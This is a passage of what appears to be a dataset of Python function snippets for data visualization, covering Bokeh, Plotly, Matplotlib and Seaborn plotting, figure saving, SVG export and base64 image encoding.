\\\"hover,save,pan,box_zoom,reset,wheel_zoom\\\"\\n\\n colors = list(reversed(brewer['Reds'][9]))#brewer['RdYlBu'][25]#[\\\"#75968f\\\", \\\"#a5bab7\\\", \\\"#c9d9d3\\\", \\\"#e2e2e2\\\", \\\"#dfccce\\\", \\\"#ddb7b1\\\", \\\"#cc7878\\\", \\\"#933b41\\\", \\\"#550b1d\\\"]\\n mapper = LinearColorMapper(palette=colors, low=df[c_col].min(), high=df[c_col].max())\\n\\n fig = figure(title=title, plot_width=500, plot_height=500, tools=TOOLS, toolbar_location='below')\\n\\n #creating objects to be added to the figure\\n vline = Span(location=0, dimension='height', line_color='red', line_width=1, line_dash='dotted')\\n hline = Span(location=0, dimension='width', line_color='grey', line_width=1, line_dash='dotted')\\n color_bar = ColorBar(color_mapper=mapper, major_label_text_font_size=\\\"5pt\\\",\\n ticker=BasicTicker(desired_num_ticks=len(colors)),\\n label_standoff=6, border_line_color=None, location=(0, 0))\\n\\n #adding all elements to the figure plot\\n fig.renderers.extend([vline, hline])\\n fig.grid.grid_line_color = None\\n fig.background_fill_color = None\\n fig.xaxis.axis_label = str(x_col)\\n fig.yaxis.axis_label = str(y_col)\\n fig.scatter(x=x_col,\\n y=y_col,\\n marker='circle', size=15,\\n source=source,\\n fill_color={'field': c_col, 'transform': mapper},\\n line_color=\\\"navy\\\", alpha=0.5)\\n fig.add_layout(color_bar, 'right')\\n fig.select_one(HoverTool).tooltips = hover_list\\n #fig.select_one(HoverTool).formatters={'Gene name' : 'printf', 'Ontology' : 'printf',# use 'printf' formatter}\\n if to_svg:\\n fig.output_backend = \\\"svg\\\"\\n\\n return fig\",\n \"def _df_formatter_with_interactive_hint(dataframe, buttons=None):\\n key = 'df-' + str(_uuid.uuid4())\\n _noninteractive_df_refs[key] = dataframe\\n\\n # Ensure our last value cache only contains one item.\\n _last_noninteractive_df.clear()\\n _last_noninteractive_df[key] = dataframe.copy(deep=False)\\n\\n convert_func = 'convertToInteractive'\\n if convert_func not in _output_callbacks:\\n _output_callbacks[convert_func] = _output.register_callback(\\n convert_func, _convert_to_interactive\\n )\\n if not buttons:\\n buttons = []\\n buttons.insert(0, _get_button_html(key))\\n return _get_html(dataframe, key, buttons)\",\n \"def to_svg(self, outfile, scaling, precision, attributes):\\n outfile.write('<g id=\\\"')\\n outfile.write(self.name.replace(\\\"#\\\", \\\"_\\\"))\\n outfile.write('\\\" ')\\n outfile.write(attributes)\\n outfile.write(\\\">\\\\n\\\")\\n for polygon in self.polygons:\\n polygon.to_svg(outfile, scaling, precision)\\n for path in self.paths:\\n path.to_svg(outfile, scaling, precision)\\n for label in self.labels:\\n label.to_svg(outfile, scaling, precision)\\n for reference in self.references:\\n reference.to_svg(outfile, scaling, precision)\\n outfile.write(\\\"</g>\\\\n\\\")\",\n \"def plot(figure_or_data, validate=True, **plot_options):\\n import plotly.tools\\n\\n figure = plotly.tools.return_figure_from_figure_or_data(figure_or_data, validate)\\n for entry in figure[\\\"data\\\"]:\\n if (\\\"type\\\" in entry) and (entry[\\\"type\\\"] == \\\"scattergl\\\"):\\n continue\\n for key, val in list(entry.items()):\\n try:\\n if len(val) > 40000:\\n msg = (\\n \\\"Woah there! Look at all those points! Due to \\\"\\n \\\"browser limitations, the Plotly SVG drawing \\\"\\n \\\"functions have a hard time \\\"\\n \\\"graphing more than 500k data points for line \\\"\\n \\\"charts, or 40k points for other types of charts. \\\"\\n \\\"Here are some suggestions:\\\\n\\\"\\n \\\"(1) Use the `plotly.graph_objs.Scattergl` \\\"\\n \\\"trace object to generate a WebGl graph.\\\\n\\\"\\n \\\"(2) Trying using the image API to return an image \\\"\\n \\\"instead of a graph URL\\\\n\\\"\\n \\\"(3) Use matplotlib\\\\n\\\"\\n \\\"(4) See if you can create your visualization with \\\"\\n \\\"fewer data points\\\\n\\\\n\\\"\\n \\\"If the visualization you're using aggregates \\\"\\n \\\"points (e.g., box plot, histogram, etc.) you can \\\"\\n \\\"disregard this warning.\\\"\\n )\\n warnings.warn(msg)\\n except TypeError:\\n pass\\n\\n plot_options = _plot_option_logic(plot_options)\\n\\n # Initialize API payload\\n payload = {\\\"figure\\\": figure, \\\"world_readable\\\": True}\\n\\n # Process filename\\n filename = plot_options.get(\\\"filename\\\", None)\\n if filename:\\n # Strip trailing slash\\n if filename[-1] == \\\"/\\\":\\n filename = filename[0:-1]\\n\\n # split off any parent directory\\n paths = filename.split(\\\"/\\\")\\n parent_path = \\\"/\\\".join(paths[0:-1])\\n filename = paths[-1]\\n\\n # Create parent directory\\n if parent_path:\\n file_ops.ensure_dirs(parent_path)\\n payload[\\\"parent_path\\\"] = parent_path\\n\\n payload[\\\"filename\\\"] = filename\\n else:\\n parent_path = \\\"\\\"\\n\\n # Process sharing\\n sharing = plot_options.get(\\\"sharing\\\", None)\\n if sharing == \\\"public\\\":\\n payload[\\\"world_readable\\\"] = True\\n elif sharing == \\\"private\\\":\\n payload[\\\"world_readable\\\"] = False\\n elif sharing == \\\"secret\\\":\\n payload[\\\"world_readable\\\"] = False\\n payload[\\\"share_key_enabled\\\"] = True\\n else:\\n raise _plotly_utils.exceptions.PlotlyError(SHARING_ERROR_MSG)\\n\\n # Extract grid\\n figure, grid = _extract_grid_from_fig_like(figure)\\n\\n # Upload grid if anything was extracted\\n if len(grid) > 0:\\n if not filename:\\n grid_filename = None\\n elif parent_path:\\n grid_filename = parent_path + \\\"/\\\" + filename + \\\"_grid\\\"\\n else:\\n grid_filename = filename + \\\"_grid\\\"\\n\\n grid_ops.upload(\\n grid=grid,\\n filename=grid_filename,\\n world_readable=payload[\\\"world_readable\\\"],\\n auto_open=False,\\n )\\n\\n _set_grid_column_references(figure, grid)\\n payload[\\\"figure\\\"] = figure\\n\\n file_info = _create_or_update(payload, \\\"plot\\\")\\n\\n # Compute viewing URL\\n if sharing == \\\"secret\\\":\\n web_url = file_info[\\\"web_url\\\"][:-1] + \\\"?share_key=\\\" + file_info[\\\"share_key\\\"]\\n else:\\n web_url = file_info[\\\"web_url\\\"]\\n\\n # Handle auto_open\\n auto_open = plot_options.get(\\\"auto_open\\\", None)\\n if auto_open:\\n _open_url(web_url)\\n\\n # Return URL\\n return web_url\",\n \"def save_figure(self, data):\\n\\n\\t\\tsizes = np.shape(data)\\n\\t\\tfig = plt.figure()\\n\\t\\tfig.set_size_inches(1, 1. * sizes[0]/sizes[1], forward = False)\\n\\t\\tax = plt.Axes(fig, [0., 0., 1., 1.])\\n\\t\\tax.set_axis_off()\\n\\t\\tfig.add_axes(ax)\\n\\t\\tax.imshow(data, \\\"gray\\\")\\n\\n\\t\\t#plt.show()\\n\\t\\tself.plotfile = os.path.join('static', 'Figure' + '.png')\\n\\t\\tplt.savefig(self.plotfile, dpi = sizes[1])\",\n \"def save_figure(fig, kwargs_dict, ext='.png'):\\n filename = filename_from_kwargs(kwargs_dict, ext=ext)\\n # Get rid of problematic characters that may have come from\\n # column titles etc.\\n filename.replace('/', 'over')\\n filename.replace('\\\\\\\\', 'over')\\n savepath = os.path.abspath(os.path.join(constants.plots_dir, filename))\\n fig.savefig(savepath)\\n print(f'Saved figure at\\\\n{savepath}')\",\n \"def create_plot(df):\\n sns.set_style(\\\"whitegrid\\\")\\n df_reverse = df.iloc[::-1]\\n ax = sns.displot(df_reverse, x=\\\"Report Date\\\", height=6, aspect=12/6, color=\\\"mediumseagreen\\\", edgecolor=\\\"darkgreen\\\")\\n ax.set(xlabel=\\\"Report Date\\\", ylabel=\\\"Number of cases\\\")\\n plt.title(\\\"Number of confirmed cases vs reported month\\\", y=0.85, fontsize=16)\\n return plt.savefig(\\\"../images/fig3\\\"), plt.close()\",\n \"def plotlyfromjson(fpath):\\n with open(fpath, 'r') as f:\\n v = json.loads(f.read().encode().decode())\\n\\n fig = go.Figure(data=v['data'], layout=v['layout'])\\n return fig\\n # iplot(fig, show_link=False)\",\n \"def plotly_scatter_plot_chart():\\n df = read_dataset(Path('..', '..', 'iris.csv'))\\n\\n model_data = cluster_iris_dataset_again()\\n df['clusters'] = model_data['clusters']\\n\\n fig = px.scatter(df, x=\\\"sepal_width\\\", y=\\\"sepal_length\\\", color=\\\"clusters\\\")\\n\\n return fig\",\n \"def fig_response(fig):\\n img_bytes = io.BytesIO()\\n fig.savefig(img_bytes)\\n img_bytes.seek(0)\\n return send_file(img_bytes, mimetype='image/png')\",\n \"def create_sensor_characteristic_scatters(df, fig_path):\\n\\n # Create the file path if it does not yet exist\\n if not os.path.exists(fig_path):\\n print(\\\"making directory \\\" + fig_path + \\\"...\\\")\\n os.makedirs(fig_path)\\n\\n # List of sensor characteristics to see distribution of\\n sensor_characteristics = [\\n \\\"noise_per_sensor\\\",\\n \\\"initial_bias\\\",\\n \\\"bias_factor\\\",\\n \\\"phi_drift\\\",\\n \\\"drift_multiplier_start\\\",\\n \\\"drift_multiplier_end\\\",\\n \\\"noise_max\\\",\\n ]\\n\\n # Create a plot for each combination of the sensor characteristics specified\\n for i, sensor_characteristic_y in enumerate(sensor_characteristics):\\n for j, sensor_characteristic_x in enumerate(sensor_characteristics):\\n fig = px.scatter(\\n df,\\n x=sensor_characteristic_x + \\\"_icgm\\\",\\n y=sensor_characteristic_y + \\\"_icgm\\\",\\n )\\n\\n fig.update_traces(marker=dict(size=2))\\n\\n # Save figure\\n save_view_fig(\\n fig,\\n image_type=\\\"png\\\",\\n figure_name=sensor_characteristic_x\\n + \\\"_\\\"\\n + sensor_characteristic_y\\n + \\\"_sensor_characteristic_distributions\\\",\\n analysis_name=\\\"icgm-sensitivity-analysis\\\",\\n view_fig=False,\\n save_fig=True,\\n save_fig_path=fig_path,\\n )\\n\\n return\",\n \"def draw_figure(els_counted, atts_counted, arg, name=\\\"\\\"):\\n \\n stdout.write(\\\"... drawing chart\\\\n\\\") \\n fig_width = max(len(els_counted),len(atts_counted),10)\\n fig_height = 6\\n if is_filename(name) or name == \\\"\\\":\\n fig_height *= 2\\n fig = plt.figure(figsize=(fig_width,fig_height))\\n \\n chart_info = get_chart_info(arg.coll_name, name) \\n add_subplots(fig, els_counted, atts_counted, chart_info, name, arg.log)\\n \\n plt.tight_layout() \\n save_figure(fig, arg.out, name)\\n plt.close()\",\n \"def update_plot(click, contents, filename, start_date, end_date, freq, window_length, mean_diff,\\n max_diff, upper_ll, lower_ll, vardiff, slopedev):\\n if click < 1:\\n return\\n\\n # params = pd.read_json(params)\\n # params = params.apply(pd.to_numeric)\\n # params = params.sort_values('Run')\\n\\n window_length = int(window_length)\\n mean_diff = float(mean_diff)\\n max_diff = float(max_diff)\\n upper_ll = float(upper_ll)\\n lower_ll = float(lower_ll)\\n slopedev = float(slopedev)\\n vardiff = float(vardiff)\\n\\n\\n df = utils.read_df(contents, filename)\\n df = df[(df.index >= start_date) & (df.index <= end_date)]\\n df = df[df.index.minute % freq == 0]\\n is_clear, components, alpha = \\\\\\n cs_utils.detect_clearsky(df['GHI'], df['GHIcs'], df.index,\\n window_length=window_length, mean_diff=mean_diff,\\n max_diff=max_diff, upper_line_length=upper_ll, lower_line_length=lower_ll,\\n slope_dev=slopedev, var_diff=vardiff, return_components=True)\\n\\n df['GHIcs'] = df['GHIcs'] * alpha\\n fig = tls.make_subplots(rows=2, cols=1, shared_xaxes=True)\\n\\n plots = []\\n plots.append(go.Scatter(x=df.index, y=df['GHI'], name='GHI'))\\n plots.append(go.Scatter(x=df.index, y=df['GHIcs'], name='GHIcs'))\\n plots.append(go.Scatter(x=df[is_clear].index, y=df[is_clear]['GHI'], name='PVLib clear', mode='markers'))\\n plots.append(go.Scatter(x=df.index, y=components['mean_diff'],\\n name='Mean diff.', visible='legendonly'))\\n plots.append(go.Scatter(x=df.index, y=components['max_diff'],\\n name='Max diff.', visible='legendonly'))\\n plots.append(go.Scatter(x=df.index, y=components['line_length'],\\n name='Line length', visible='legendonly'))\\n plots.append(go.Scatter(x=df.index, y=components['slope_nstd'],\\n name='Slope std. dev.', visible='legendonly'))\\n plots.append(go.Scatter(x=df.index, y=components['slope_max'],\\n name='Max slope diff.', visible='legendonly'))\\n\\n for p in plots:\\n fig.append_trace(p, 1, 1)\\n\\n plots2 = []\\n passes = pd.DataFrame(components)\\n for i, test in enumerate(['mean_diff_pass', 'max_diff_pass', 'line_length_pass',\\n 'slope_nstd_pass', 'slope_max_pass']):\\n slice = passes[test].astype(int)\\n ii = i / 4\\n yval = [ii] * len(slice.astype(bool) & passes['non_zero'].astype(bool))\\n plots2.append(\\n go.Scatter(x=df.index[:len(slice)][slice.astype(bool) & passes['non_zero'].astype(bool)],\\n y=yval, name='', mode='markers', showlegend=False)\\n )\\n\\n for p in plots2:\\n fig.append_trace(p, 2, 1)\\n\\n fig['layout']['yaxis2'].update(tickmode='text', tickvals=[0, .25, .5, .75, 1],\\n ticktext=['Mean diff.', 'Max diff.', 'Line length',\\n 'Slope std. dev.', 'Max slope diff.'])\\n fig['layout']['xaxis2'].update(title='Date')\\n fig['layout']['yaxis2'].update(domain=[0, 0.2])\\n fig['layout']['yaxis1'].update(title='GHI / W/m2')\\n fig['layout']['yaxis1'].update(domain=[.25, 1])\\n fig['layout'].update(height=500, margin={'l': 100})\\n fig['layout'].update(title='Window length: {}, mean diff: {}, max diff: {}, upper line length: {}, '\\n 'lower line length: {}, max slope difference: {}, std slope differece: {}'\\n .format(window_length, mean_diff, max_diff, upper_ll, lower_ll, slopedev, vardiff))\\n\\n plots = fig\\n\\n layout = go.Layout(xaxis={'title': 'Date'}, # yaxis={'title': 'W/m2'},\\n title='Window length: {}, mean diff: {}, max diff: {}, upper line length: {}, '\\n 'lower line length: {}, max slope difference: {}, std slope differece: {}'\\n .format(window_length, mean_diff, max_diff, upper_ll, lower_ll, slopedev, vardiff),\\n )\\n ts_plot = dcc.Graph(id='cs-plot', figure={'data': plots, 'layout': layout})\\n\\n # scores = [go.Scatter(x=list(range(len(params))),\\n # y=params['F-score'],\\n # text=utils.df_to_text(params), hoverinfo='text')]\\n # scores_layout = go.Layout(xaxis={'title': 'Run', 'tickvals': [i for i in range(1, len(params))],\\n # 'ticktext': [str(i + 1) for i in range(1, len(params))],\\n # 'range': [0, len(params)]}, yaxis={'title': 'F-score'})\\n # scores_plot = dcc.Graph(id='cs-scores', figure={'data': scores, 'layout': scores_layout})\\n #\\n # table = dt.DataTable(\\n # rows=params[['Run', 'Window length', 'Mean difference', 'Max difference',\\n # 'Upper line length', 'Lower line length', 'Variance of slopes',\\n # 'Max difference of slopes', 'F-score']].round(3).to_dict('records'),\\n # columns=['Run', 'Window length', 'Mean difference', 'Max difference',\\n # 'Upper line length', 'Lower line length', 'Variance of slopes',\\n # 'Max difference of slopes', 'F-score'],\\n # selected_row_indices=[],\\n # sortable=True,\\n # filterable=True,\\n # editable=False,\\n # id='cs-param_table'\\n # )\\n\\n final = html.Div([\\n html.Div(ts_plot)\\n ], style={'width': '98%', 'float': 'center', 'pad': {'l': 40}})\\n\\n return final\",\n \"def make_room_inspector_graph(df, tag):\\n p = figure(plot_width=300, plot_height=300, x_axis_type='datetime')\\n p.line(df['datetime'], df[tag], line_width=2)\\n p.xaxis.axis_label = \\\"time\\\"\\n p.yaxis.axis_label = tag\\n p.toolbar.logo = None\\n return p\",\n \"def sparkline(plot_df):\\n\\n figure = {\\n \\\"data\\\": [\\n go.Scatter(\\n x=plot_df.iloc[:, 0],\\n y=plot_df.iloc[:, 1],\\n mode=\\\"lines\\\",\\n text=plot_df.iloc[:, 1],\\n line={\\\"width\\\": 3, \\\"color\\\": \\\"#262626\\\"},\\n hoverinfo=\\\"none\\\",\\n )\\n ],\\n \\\"layout\\\": go.Layout(\\n margin={\\\"pad\\\": 0, \\\"l\\\": 10, \\\"r\\\": 10, \\\"t\\\": 10, \\\"b\\\": 10},\\n xaxis={\\n \\\"showgrid\\\": False,\\n \\\"showline\\\": False,\\n \\\"zeroline\\\": False,\\n \\\"showticklabels\\\": False,\\n },\\n yaxis={\\\"showgrid\\\": False, \\\"zeroline\\\": False, \\\"showticklabels\\\": False},\\n showlegend=False,\\n autosize=True,\\n paper_bgcolor=\\\"rgba(0,0,0,0)\\\",\\n plot_bgcolor=\\\"rgba(0,0,0,0)\\\",\\n ),\\n }\\n \\n return figure\",\n \"def render(self, chart):\\n chart.create_visualization_files(self.__outputpath)\",\n \"def charts(request):\\n \\n def histogram():\\n x0 = np.random.randn(500)\\n # Add 1 to shift the mean of the Gaussian distribution\\n x1 = np.random.randn(500) + 1\\n\\n fig = go.Figure()\\n fig.add_trace(go.Histogram(x=x0))\\n fig.add_trace(go.Histogram(x=x1))\\n\\n # Overlay both histograms\\n fig.update_layout(barmode='overlay')\\n fig.update_layout(title='Histogram')\\n # Reduce opacity to see both histograms\\n fig.update_traces(opacity=0.75)\\n plot_div = plot(fig, output_type='div', include_plotlyjs=False)\\n return plot_div\\n \\n def box_plot():\\n np.random.seed(1)\\n y0 = np.random.randn(50) - 1\\n y1 = np.random.randn(50) + 1\\n\\n fig = go.Figure()\\n fig.add_trace(go.Box(y=y0))\\n fig.add_trace(go.Box(y=y1))\\n fig.update_layout(title='Box Plot')\\n plot_div = plot(fig, output_type='div', include_plotlyjs=False)\\n return plot_div\\n \\n def heat_map():\\n \\n np.random.seed(1)\\n programmers = ['Alex','Nicole','Sara','Etienne','Chelsea','Jody','Marianne']\\n base = datetime.datetime.today()\\n dates = base - np.arange(180) * datetime.timedelta(days=1)\\n z = np.random.poisson(size=(len(programmers), len(dates)))\\n\\n fig = go.Figure(data=go.Heatmap(\\n z=z,\\n x=dates,\\n y=programmers,\\n colorscale='Viridis'))\\n\\n fig.update_layout(\\n title='Heat Map',\\n xaxis_nticks=36)\\n\\n plot_div = plot(fig, output_type='div', include_plotlyjs=False)\\n return plot_div\\n \\n def scatter():\\n x1 = [1,2,3,4]\\n y1 = [30, 35, 25, 45]\\n text1 = ['A', 'B', 'C', 'D']\\n trace = go.Scatter(\\n x=x1, y = y1, text= text1, mode='markers+text'\\n )\\n layout = dict(\\n title='Scatter Plots',\\n xaxis=dict(range=[min(x1), max(x1)]),\\n yaxis=dict(range=[min(y1), max(y1)])\\n )\\n fig = go.Figure(data=[trace],layout=layout)\\n plot_div = plot(fig, output_type='div', include_plotlyjs=False)\\n return plot_div\\n\\n context = {\\n 'plot1':heat_map(),\\n 'plot2':scatter(),\\n 'plot3':histogram(),\\n 'plot4':box_plot()\\n }\\n return render(request, 'base/charts.html', context)\",\n \"def save_plot_as_image(self):\\r\\n plt.savefig(ROOT_DIR + '/presentation/images/' + self.folder + '/' + self.generated_image_name + '.png',\\r\\n bbox_inches='tight')\",\n \"def generate_plot(chart: Chart) -> Figure:\\n factory = ChartFactory(recipes=ChartService.get_supported_recipes(),\\n data_frame_service=CommonServiceProvider.DataFrameService)\\n plot = factory.create_object(document=chart)\\n\\n return plot\",\n \"def _dump_plotly(objs, images, func):\\n l = len(objs)\\n #print(l)\\n titles = []\\n for i,x in enumerate(objs):\\n if 'id' in x:\\n titles.append('shape id %d' % x.id)\\n else:\\n titles.append('item %d' % i)\\n fig = tools.make_subplots(rows=l, cols=1, subplot_titles = titles,print_grid=False )\\n #print('figure attmpt: ')\\n #fig['layout']['xaxis1'].update(title='monkeybar')\\n #for x in fig['layout']['xaxis1']:\\n #print(x)\\n fig.layout.showlegend = False\\n for i,x in enumerate(objs):\\n traces,annotations,title = func(x,images[i])\\n im = {\\n \\\"source\\\": 'data:image/png;base64, ' + getbase64(images[i]),\\n \\\"x\\\": 1,\\n \\\"y\\\": 1 - i/(l-.5),\\n \\\"sizex\\\": .5,\\n \\\"sizey\\\": .5,\\n }\\n fig.layout.images.append(im)\\n for t in traces:\\n fig.append_trace(t,i+1,1)\\n if title is not None:\\n fig.layout['xaxis%d' % (i+1)].update(title=title)\\n if annotations is not None:\\n for a in annotations:\\n a['xref'] = 'x%d' % (i+1)\\n a['yref'] = 'y%d' % (i+1)\\n fig.layout.annotations += annotations\\n\\n fig['layout'].update(height=400*l, width=1100, margin={\\n 'l':80,\\n 'r':330,\\n 't':100,\\n 'b':80,\\n 'pad':0,\\n 'autoexpand':True,\\n },title='plots')\\n\\n return fig\",\n \"def use_svg_display(): #@save\\n display.set_matplotlib_formats('svg')\",\n \"def fig_to_uri(in_fig, close_all=True, **save_args):\\n out_img = BytesIO()\\n in_fig.savefig(out_img, format='png', **save_args)\\n if close_all:\\n in_fig.clf()\\n plt.close('all')\\n out_img.seek(0) # rewind file\\n encoded = base64.b64encode(out_img.read()).decode(\\\"ascii\\\").replace(\\\"\\\\n\\\", \\\"\\\")\\n return \\\"data:image/png;base64,{}\\\".format(encoded)\",\n \"def fig_to_uri(in_fig, close_all=True, **save_args):\\n out_img = BytesIO()\\n in_fig.savefig(out_img, format='png', **save_args)\\n if close_all:\\n in_fig.clf()\\n plt.close('all')\\n out_img.seek(0) # rewind file\\n encoded = base64.b64encode(out_img.read()).decode(\\\"ascii\\\").replace(\\\"\\\\n\\\", \\\"\\\")\\n return \\\"data:image/png;base64,{}\\\".format(encoded)\",\n \"def to_svg(self, outfile, scaling, precision):\\n if isinstance(self.ref_cell, Cell):\\n name = self.ref_cell.name\\n else:\\n name = self.ref_cell\\n transform = \\\"translate({} {})\\\".format(\\n numpy.format_float_positional(\\n scaling * self.origin[0], trim=\\\"0\\\", precision=precision\\n ),\\n numpy.format_float_positional(\\n scaling * self.origin[1], trim=\\\"0\\\", precision=precision\\n ),\\n )\\n if self.rotation is not None:\\n transform += \\\" rotate({})\\\".format(\\n numpy.format_float_positional(\\n self.rotation, trim=\\\"0\\\", precision=precision\\n )\\n )\\n if self.x_reflection:\\n transform += \\\" scale(1 -1)\\\"\\n if self.magnification is not None:\\n transform += \\\" scale({})\\\".format(\\n numpy.format_float_positional(\\n self.magnification, trim=\\\"0\\\", precision=precision\\n )\\n )\\n outfile.write('<use transform=\\\"')\\n outfile.write(transform)\\n outfile.write('\\\" xlink:href=\\\"#')\\n outfile.write(name.replace(\\\"#\\\", \\\"_\\\"))\\n outfile.write('\\\"/>\\\\n')\",\n \"def to_svg(self, outfile, scaling, precision):\\n if isinstance(self.ref_cell, Cell):\\n name = self.ref_cell.name\\n else:\\n name = self.ref_cell\\n transform = \\\"translate({} {})\\\".format(\\n numpy.format_float_positional(\\n scaling * self.origin[0], trim=\\\"0\\\", precision=precision\\n ),\\n numpy.format_float_positional(\\n scaling * self.origin[1], trim=\\\"0\\\", precision=precision\\n ),\\n )\\n if self.rotation is not None:\\n transform += \\\" rotate({})\\\".format(\\n numpy.format_float_positional(\\n self.rotation, trim=\\\"0\\\", precision=precision\\n )\\n )\\n if self.x_reflection:\\n transform += \\\" scale(1 -1)\\\"\\n mag = (\\n \\\"\\\"\\n if self.magnification is None\\n else \\\" scale({})\\\".format(\\n numpy.format_float_positional(\\n self.magnification, trim=\\\"0\\\", precision=precision\\n )\\n )\\n )\\n for ii in range(self.columns):\\n dx = scaling * self.spacing[0] * ii\\n for jj in range(self.rows):\\n dy = scaling * self.spacing[1] * jj\\n outfile.write('<use transform=\\\"')\\n outfile.write(transform)\\n outfile.write(\\n \\\" translate({} {})\\\".format(\\n numpy.format_float_positional(\\n dx, trim=\\\"0\\\", precision=precision\\n ),\\n numpy.format_float_positional(\\n dy, trim=\\\"0\\\", precision=precision\\n ),\\n )\\n )\\n outfile.write(mag)\\n outfile.write('\\\" xlink:href=\\\"#')\\n outfile.write(name.replace(\\\"#\\\", \\\"_\\\"))\\n outfile.write('\\\"/>\\\\n')\",\n \"def save_mat_fig(trace_array, gtype=\\\"traceplot\\\"):\\n # fig = Figure()\\n if gtype == \\\"traceplot\\\":\\n print(\\\"ENTER save_traceplot\\\")\\n pm.traceplot(trace_array, figsize=(12,12))\\n print(\\\"PLT.GCF()\\\")\\n fig = plt.gcf()\\n print(\\\"FIGURE\\\")\\n buf = io.BytesIO()\\n print(\\\"BUFF\\\")\\n fig.savefig(buf, format=\\\"png\\\")\\n data = base64.b64encode(buf.getbuffer()).decode(\\\"utf8\\\")\\n elif gtype == \\\"posterior\\\":\\n print(\\\"ENTER plot_posterior\\\")\\n pm.plot_posterior(trace_array, figsize=(12,12))\\n fig = plt.gcf()\\n buf = io.BytesIO()\\n fig.savefig(buf, format=\\\"png\\\")\\n data = base64.b64encode(buf.getbuffer()).decode(\\\"utf8\\\")\\n else:\\n data = []\\n return \\\"data:image/png;base64,{}\\\".format(data)\",\n \"def get_sqlite_plot(db_file_path: str):\\n # Get an SQLite plotly data\\n fig, df_bt_range = PlotlyBottomTrackRangeLine().get_sqlite_plot(db_file_path)\\n\\n # Load the data from the file\\n plot_title = \\\"Bottom Track Range\\\"\\n\\n # Create a Header\\n st.subheader(plot_title)\\n\\n # Display a table of the data\\n st.write(df_bt_range)\\n\\n # Create a streamlit plot\\n st.plotly_chart(fig)\",\n \"def VJ_Gene_Plot(clone_df, png = None, title = \\\"\\\", vgene_col = \\\"VGene\\\", jgene_col = \\\"JGene\\\", count_col = \\\"Clustered\\\",\\r\\n\\t\\t\\t\\t vgene_colors = vgene_colors, vfamily_colors = vfamily_colors, jgene_colors = jgene_colors,\\r\\n\\t\\t\\t\\t vj_gap = 0.008, vgene_gap = 0.0, line_width = 0.4, figsize = (800, 800), hover_tooltip = True):\\r\\n\\r\\n\\tfigure_params = {\\r\\n\\t\\t\\\"plot_width\\\": figsize[0],\\r\\n\\t\\t\\\"plot_height\\\": figsize[1],\\r\\n\\t\\t#\\\"sizing_mode\\\": \\\"scale_both\\\",\\r\\n\\t\\t\\\"x_range\\\": Range1d(-0.5, 1.5, bounds = (-1.5, 2.5)),\\r\\n\\t\\t\\\"y_range\\\": Range1d(-0.5, 1.5, bounds = (-1.5, 2.5)),\\r\\n\\t\\t#\\\"outline_line_alpha\\\": 0.0,\\r\\n\\t\\t\\\"title\\\": title,\\r\\n\\t\\t\\\"tools\\\": \\\"pan, wheel_zoom, box_zoom, tap, save, reset, help\\\",\\r\\n\\t\\t\\\"active_scroll\\\": \\\"wheel_zoom\\\",\\r\\n\\t\\t\\\"toolbar_location\\\": \\\"right\\\"\\r\\n\\t}\\r\\n\\r\\n\\tplot = figure(**figure_params)\\r\\n\\tplot.grid.visible = False\\r\\n\\tplot.axis.visible = False\\r\\n\\r\\n\\tif hover_tooltip:\\r\\n\\t\\thover_tool = HoverTool(tooltips = [(\\\"Gene\\\", \\\"@legend\\\"), (\\\"Percent\\\", \\\"@percent{(0.00%)}\\\")],\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t point_policy = \\\"snap_to_data\\\")\\r\\n\\t\\tplot.add_tools(hover_tool)\\r\\n\\r\\n\\tgene_df = clone_df[[vgene_col, jgene_col, count_col]].groupby([vgene_col, jgene_col]).agg({count_col: sum})\\r\\n\\t#Sort by V gene ascending, then J gene ascending\\r\\n\\tgene_df = gene_df.sort_index()\\r\\n\\tgene_df = gene_df.reset_index()\\r\\n\\r\\n\\ttotal_vgenes = len(gene_df[vgene_col].drop_duplicates())\\r\\n\\ttotal_gapsize = total_vgenes * vgene_gap\\r\\n\\tremaining_size = 360.0 - float(total_gapsize)\\r\\n\\tgap_size = float(vgene_gap)\\r\\n\\r\\n\\ttotal_counts = gene_df[count_col].sum()\\r\\n\\tgene_df[\\\"Arc_Length\\\"] = gene_df[count_col] / total_counts * remaining_size\\r\\n\\t#Starting at 90 degrees (top center of the circle) plus half the gap size\\r\\n\\t#cur_v_start = -90.0 + (gap_size / 2.0)\\r\\n\\tcur_v_start = 90.0 + (gap_size / 2.0)\\r\\n\\r\\n\\tv_start_angles = []\\r\\n\\tv_end_angles = []\\r\\n\\tvgene_facecolors = []\\r\\n\\tvgene_hover_colors = []\\r\\n\\tvfamily_facecolors = []\\r\\n\\tvfamily_hover_colors = []\\r\\n\\tv_legend_text = []\\r\\n\\tv_legend_percent = []\\r\\n\\r\\n\\tj_start_angles = []\\r\\n\\tj_end_angles = []\\r\\n\\tjgene_facecolors = []\\r\\n\\tjgene_hover_colors = []\\r\\n\\tj_legend_text = []\\r\\n\\tj_legend_percent = []\\r\\n\\r\\n\\tfor vgene in gene_df[vgene_col].drop_duplicates():\\r\\n\\t\\tcur_vgene_df = gene_df[gene_df[vgene_col] == vgene]\\r\\n\\t\\tvfamily = vgene.split(\\\"-\\\")[0]\\r\\n\\r\\n\\t\\tvgene_color = vgene_colors[vgene]\\r\\n\\t\\tvgene_hover_color = vgene_color.darken(0.05)\\r\\n\\t\\tvfamily_color = vfamily_colors[vfamily]\\r\\n\\t\\tvfamily_hover_color = vfamily_color.darken(0.05)\\r\\n\\r\\n\\t\\tv_arc_length = cur_vgene_df[\\\"Arc_Length\\\"].sum()\\r\\n\\t\\tcur_v_end = cur_v_start + v_arc_length\\r\\n\\r\\n\\t\\tv_start_angles.append(cur_v_start)\\r\\n\\t\\tv_end_angles.append(cur_v_end)\\r\\n\\r\\n\\t\\tvgene_facecolors.append(vgene_color)\\r\\n\\t\\tvgene_hover_colors.append(vgene_hover_color)\\r\\n\\t\\tvfamily_facecolors.append(vfamily_color)\\r\\n\\t\\tvfamily_hover_colors.append(vfamily_hover_color)\\r\\n\\r\\n\\t\\tv_legend_text.append(vgene)\\r\\n\\t\\tcur_vgene_counts = cur_vgene_df[\\\"Clustered\\\"].sum()\\r\\n\\t\\tv_legend_percent.append(cur_vgene_counts / total_counts)\\r\\n\\r\\n\\t\\tcur_j_start = cur_v_start\\r\\n\\t\\tfor jgene, jgene_arc_length in zip(cur_vgene_df[jgene_col], cur_vgene_df[\\\"Arc_Length\\\"]):\\r\\n\\t\\t\\tcur_j_end = cur_j_start + jgene_arc_length\\r\\n\\r\\n\\t\\t\\tjgene_color = jgene_colors[jgene]\\r\\n\\t\\t\\tjgene_hover_color = 